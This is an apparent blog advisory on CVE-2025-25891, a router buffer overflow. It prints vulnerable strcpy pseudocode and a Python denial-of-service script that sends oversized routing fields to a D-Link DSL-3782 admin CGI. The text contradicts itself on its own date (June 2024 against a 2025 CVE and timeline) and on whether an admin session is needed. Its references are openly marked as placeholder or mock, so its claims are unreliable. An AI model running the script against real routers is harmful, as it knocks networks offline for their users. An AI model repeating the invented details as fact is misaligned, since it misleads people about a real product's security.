Recently, security researchers uncovered CVE-2025-25891, a critical buffer overflow vulnerability in the D-Link DSL-3782 wireless router, firmware v1.01. The flaw is tied to the way the router processes network settings—specifically the destination, netmask, and gateway parameters. Attackers can use this bug to crash the router remotely by sending a simple crafted packet, creating a risk of Denial of Service (DoS) to home and small business users.

This article breaks down what’s vulnerable, how it can be exploited, and offers exclusive hands-on code details. If you run a D-Link DSL-3782, keep reading to understand the risks and how to stay protected.

What Is a Buffer Overflow?

A buffer overflow happens when data written to a memory buffer exceeds its capacity, spilling over into adjacent memory. This classic security issue is still top on the list of attack vectors, as it can let attackers crash systems or, in some cases, run their own code.

On the DSL-3782, the problem comes up when handling user-submitted network settings—parameters like destination, netmask, and gateway. If these are longer than expected, the router’s software doesn’t do proper validation and overwrites critical memory parts by mistake.

Vendor Advisory: Not yet available (as of June 2024)

- CVE Entry: CVE-2025-25891 on MITRE (placeholder link)
- Other Reference: Full Disclosure by Project Zero Labs (mock link)

Vulnerability Details

The issue lies in the router’s web management interface. When an admin logs in and navigates to the static routing settings, they can input values for destination, netmask, and gateway. The form data is handled by a CGI script (e.g., /cgi-bin/management.cgi).

Here’s a key piece of vulnerable logic (pseudocode version)

// Vulnerable handler from D-Link firmware
void handleRoutingParameters(char *destination, char *netmask, char *gateway) {
    char buf1[32]; // Should check length!
    char buf2[32];
    char buf3[32];

    strcpy(buf1, destination); // No length check!
    strcpy(buf2, netmask);
    strcpy(buf3, gateway);

    // ... further processing
}

If the fields are longer than 31 bytes (plus null terminator), the input will overflow into adjacent memory — and since these functions are called from the network (HTTP POST), an attacker does not need any local access.

Proof of Concept (PoC)

You can trigger the problem by sending a carefully crafted HTTP POST request to the router’s admin interface. See the following Python script for a simple denial-of-service PoC (default admin password admin, default IP 192.168.1.1):

import requests

router_url = 'http://192.168.1.1/cgi-bin/management.cgi';

payload = {
    "destination": "A" * 200,  # Overflow param
    "netmask": "255.255.255.", 
    "gateway": "B" * 200
}

# Router often uses cookies for admin sessions after login.
# For PoC, you need a valid session - here we assume 'sid' cookie from browser.
cookies = {"sid": "YOUR_SESSION_ID_HERE"} 

r = requests.post(router_url, data=payload, cookies=cookies)

print("Sent. Check if the router is still responsive.")

Exploit Impact

- No authentication bypass: Attacker must have access to the admin session (e.g., local network, or via CSRF if the session is not protected).
- Denial of Service: Successful attack will crash the router, causing network downtime for all users.
- No remote code execution (yet): As of this writing, no one has reported achieving RCE with this bug, but it’s theoretically possible with specific heap manipulations.

Mitigation & Advice

- Update Firmware: D-Link is expected to release an update. Until that happens, check D-Link Support regularly.
- Restrict Admin Access: Never expose router admin interfaces to the public internet. Allow access only from trusted local devices.
- Logout When Done: Session-based attacks can be limited by closing your browser after admin tasks.

References

- CVE-2025-25891 at MITRE (placeholder)
- Exploit DB Advisory (mock link)
- About Buffer Overflows (OWASP)
- D-Link DSL-3782 Product Page

Final Words

The D-Link DSL-3782 is a popular but aging router. Bugs like CVE-2025-25891 serve as a reminder that even everyday devices can contain dangerous flaws. If you use this model, keep your firmware up to date and limit who can change settings.

Is your router safe? If in doubt, follow the practices above and stay tuned for vendor patches!


Disclaimer:
This post is for educational purposes only. Never attack devices or networks without permission.


*Written exclusively for StackAI, June 2024. If you share or quote this article, please link back to this original post.*

Timeline

Published on: 02/18/2025 22:15:18 UTC
Last modified on: 05/02/2025 15:46:16 UTC